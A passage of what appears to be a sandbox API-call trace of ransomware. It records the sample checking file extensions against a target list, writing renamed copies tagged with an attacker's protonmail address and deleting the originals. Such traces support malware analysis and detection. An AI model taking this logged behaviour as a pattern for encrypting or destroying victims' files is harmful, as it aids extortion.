(lpString=".dbf") returned 4 [0135.113] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0135.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0135.113] lstrlenW (lpString=".1cd") returned 4 [0135.113] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0135.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0135.114] lstrlenW (lpString=".jpg") returned 4 [0135.114] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0135.114] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0135.114] lstrlenW (lpString="eula.rtf") returned 8 [0135.114] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0136.138] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=12687) returned 1 [0136.190] CloseHandle (hObject=0x10b4) returned 1 [0136.190] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0136.190] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.767] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0136.767] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.767] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.767] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0136.768] GetLastError () returned 0x0 [0136.768] ReadFile (in: hFile=0x1088, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x318f, lpOverlapped=0x0) returned 1 [0136.943] WriteFile (in: hFile=0x1098, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x3190, lpOverlapped=0x0) returned 1 [0136.944] ReadFile (in: hFile=0x1088, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.944] WriteFile (in: hFile=0x1098, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xe4, lpOverlapped=0x0) returned 1 [0136.944] SetEndOfFile (hFile=0x1098) returned 1 [0136.945] CloseHandle (hObject=0x1098) returned 1 [0136.949] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.949] SetEndOfFile (hFile=0x1088) returned 1 [0136.950] CloseHandle (hObject=0x1088) returned 1 [0136.950] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.951] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1 [0136.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0136.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0136.951] lstrlenW (lpString=".doc") returned 4 [0136.951] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0136.951] lstrlenW (lpString=".docx") returned 5 [0136.951] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0136.951] lstrlenW (lpString=".pdf") returned 4 [0136.951] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0136.951] lstrlenW (lpString=".xls") returned 4 [0136.951] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0136.951] lstrlenW (lpString=".xlsx") returned 5 [0136.951] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0136.951] lstrlenW (lpString=".ppt") returned 4 [0136.951] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0136.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0136.951] lstrlenW (lpString=".zip") returned 4 [0136.951] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0136.952] lstrlenW (lpString=".rar") returned 4 [0136.952] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0136.952] lstrlenW (lpString=".bz2") returned 4 [0136.952] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0136.952] lstrlenW (lpString=".7z") returned 3 [0136.952] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0136.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0136.952] lstrlenW (lpString=".dbf") returned 4 [0136.952] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0136.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0136.952] lstrlenW (lpString=".1cd") returned 4 [0136.952] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0136.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0136.952] lstrlenW (lpString=".jpg") returned 4 [0136.952] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0136.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0136.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0136.952] lstrlenW (lpString=".doc") returned 4 [0136.952] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0136.952] lstrlenW (lpString=".docx") returned 5 [0136.952] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0136.952] lstrlenW (lpString=".pdf") returned 4 [0136.952] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0136.952] lstrlenW (lpString=".xls") returned 4 [0136.952] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0136.952] lstrlenW (lpString=".xlsx") returned 5 [0136.952] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0136.952] lstrlenW (lpString=".ppt") returned 4 [0136.953] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0136.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0136.953] lstrlenW (lpString=".zip") returned 4 [0136.953] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0136.953] lstrlenW (lpString=".rar") returned 4 [0136.953] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0136.953] lstrlenW (lpString=".bz2") returned 4 [0136.953] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0136.953] lstrlenW (lpString=".7z") returned 3 [0136.953] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0136.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0136.953] lstrlenW (lpString=".dbf") returned 4 [0136.953] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0137.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0137.010] lstrlenW (lpString=".1cd") returned 4 [0137.011] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0137.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0137.011] lstrlenW (lpString=".jpg") returned 4 [0137.011] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0137.011] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0137.011] lstrlenW (lpString="eula.rtf") returned 8 [0137.011] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0137.083] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=4015) returned 1 [0137.083] CloseHandle (hObject=0x10c8) returned 1 [0137.083] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0137.083] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0137.088] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0137.088] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.088] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.088] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0137.091] GetLastError () returned 0x0 [0137.091] ReadFile (in: hFile=0x10b0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0xfaf, lpOverlapped=0x0) returned 1 [0137.274] WriteFile (in: hFile=0x1098, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xfb0, lpOverlapped=0x0) returned 1 [0137.275] ReadFile (in: hFile=0x10b0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.275] WriteFile (in: hFile=0x1098, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xe4, lpOverlapped=0x0) returned 1 [0137.276] SetEndOfFile (hFile=0x1098) returned 1 [0137.276] CloseHandle (hObject=0x1098) returned 1 [0137.277] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.277] SetEndOfFile (hFile=0x10b0) returned 1 [0137.278] CloseHandle (hObject=0x10b0) returned 1 [0137.278] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0137.278] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1 [0137.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0137.278] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0137.278] lstrlenW (lpString=".doc") returned 4 [0137.278] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0137.278] lstrlenW (lpString=".docx") returned 5 [0137.279] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0137.279] lstrlenW (lpString=".pdf") returned 4 [0137.279] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0137.279] lstrlenW (lpString=".xls") returned 4 [0137.279] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0137.279] lstrlenW (lpString=".xlsx") returned 5 [0137.279] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0137.279] lstrlenW (lpString=".ppt") returned 4 [0137.279] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0137.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0137.279] lstrlenW (lpString=".zip") returned 4 [0137.279] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0137.279] lstrlenW (lpString=".rar") returned 4 [0137.279] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0137.279] lstrlenW (lpString=".bz2") returned 4 [0137.279] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0137.279] lstrlenW (lpString=".7z") returned 3 [0137.279] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0137.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0137.279] lstrlenW (lpString=".dbf") returned 4 [0137.279] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0137.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0137.279] lstrlenW (lpString=".1cd") returned 4 [0137.279] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0137.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0137.279] lstrlenW (lpString=".jpg") returned 4 [0137.279] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0137.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0137.279] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0137.280] lstrlenW (lpString=".doc") returned 4 [0137.280] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0137.280] lstrlenW (lpString=".docx") returned 5 [0137.280] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0137.280] lstrlenW (lpString=".pdf") returned 4 [0137.280] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0137.280] lstrlenW (lpString=".xls") returned 4 [0137.280] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0137.280] lstrlenW (lpString=".xlsx") returned 5 [0137.280] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0137.280] lstrlenW (lpString=".ppt") returned 4 [0137.280] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0137.280] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0137.280] lstrlenW (lpString=".zip") returned 4 [0137.280] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0137.280] lstrlenW (lpString=".rar") returned 4 [0137.280] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0137.280] lstrlenW (lpString=".bz2") returned 4 [0137.280] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0137.280] lstrlenW (lpString=".7z") returned 3 [0137.280] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0137.280] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0137.280] lstrlenW (lpString=".dbf") returned 4 [0137.280] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0137.280] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0137.280] lstrlenW (lpString=".1cd") returned 4 [0137.280] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0137.280] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0137.280] lstrlenW (lpString=".jpg") returned 4 [0137.280] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0137.281] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0137.281] lstrlenW (lpString="eula.rtf") returned 8 [0137.281] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0137.281] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=3069) returned 1 [0137.281] CloseHandle (hObject=0x10b0) returned 1 [0137.282] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0137.282] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0137.282] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0137.282] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.282] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.282] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0137.282] GetLastError () returned 0x0 [0137.282] ReadFile (in: hFile=0x10b0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0xbfd, lpOverlapped=0x0) returned 1 [0137.336] WriteFile (in: hFile=0x1098, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xc00, lpOverlapped=0x0) returned 1 [0137.339] ReadFile (in: hFile=0x10b0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.339] WriteFile (in: hFile=0x1098, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xe4, lpOverlapped=0x0) returned 1 [0137.339] SetEndOfFile (hFile=0x1098) returned 1 [0137.339] CloseHandle (hObject=0x1098) returned 1 [0137.340] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.340] SetEndOfFile (hFile=0x10b0) returned 1 [0137.340] CloseHandle (hObject=0x10b0) returned 1 [0137.340] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0137.341] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1 [0137.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0137.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0137.341] lstrlenW (lpString=".doc") returned 4 [0137.341] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0137.341] lstrlenW (lpString=".docx") returned 5 [0137.341] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0137.341] lstrlenW (lpString=".pdf") returned 4 [0137.341] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0137.341] lstrlenW (lpString=".xls") returned 4 [0137.341] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0137.341] lstrlenW (lpString=".xlsx") returned 5 [0137.341] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0137.341] lstrlenW (lpString=".ppt") returned 4 [0137.341] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0137.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0137.341] lstrlenW (lpString=".zip") returned 4 [0137.341] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0137.342] lstrlenW (lpString=".rar") returned 4 [0137.342] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0137.342] lstrlenW (lpString=".bz2") returned 4 [0137.342] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0137.342] lstrlenW (lpString=".7z") returned 3 [0137.342] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0137.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0137.342] lstrlenW (lpString=".dbf") returned 4 [0137.342] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0137.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0137.342] lstrlenW (lpString=".1cd") returned 4 [0137.342] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0137.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0137.342] lstrlenW (lpString=".jpg") returned 4 [0137.342] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0137.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0137.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0137.342] lstrlenW (lpString=".doc") returned 4 [0137.342] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0137.342] lstrlenW (lpString=".docx") returned 5 [0137.342] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0137.342] lstrlenW (lpString=".pdf") returned 4 [0137.342] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0137.342] lstrlenW (lpString=".xls") returned 4 [0137.342] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0137.342] lstrlenW (lpString=".xlsx") returned 5 [0137.342] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0137.342] lstrlenW (lpString=".ppt") returned 4 [0137.342] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0137.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0137.342] lstrlenW (lpString=".zip") returned 4 [0137.342] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0137.343] lstrlenW (lpString=".rar") returned 4 [0137.343] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0137.343] lstrlenW (lpString=".bz2") returned 4 [0137.343] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0137.343] lstrlenW (lpString=".7z") returned 3 [0137.343] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0137.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0137.343] lstrlenW (lpString=".dbf") returned 4 [0137.343] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0137.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0137.343] lstrlenW (lpString=".1cd") returned 4 [0137.343] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0137.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0137.343] lstrlenW (lpString=".jpg") returned 4 [0137.343] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0137.343] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0137.343] lstrlenW (lpString="LocalizedData.xml") returned 17 [0137.343] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0137.344] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=79996) returned 1 [0137.344] CloseHandle (hObject=0x10b0) returned 1 [0137.344] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0137.344] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0137.344] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0137.344] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.344] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.344] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0137.345] GetLastError () returned 0x0 [0137.345] ReadFile (in: hFile=0x10b0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, 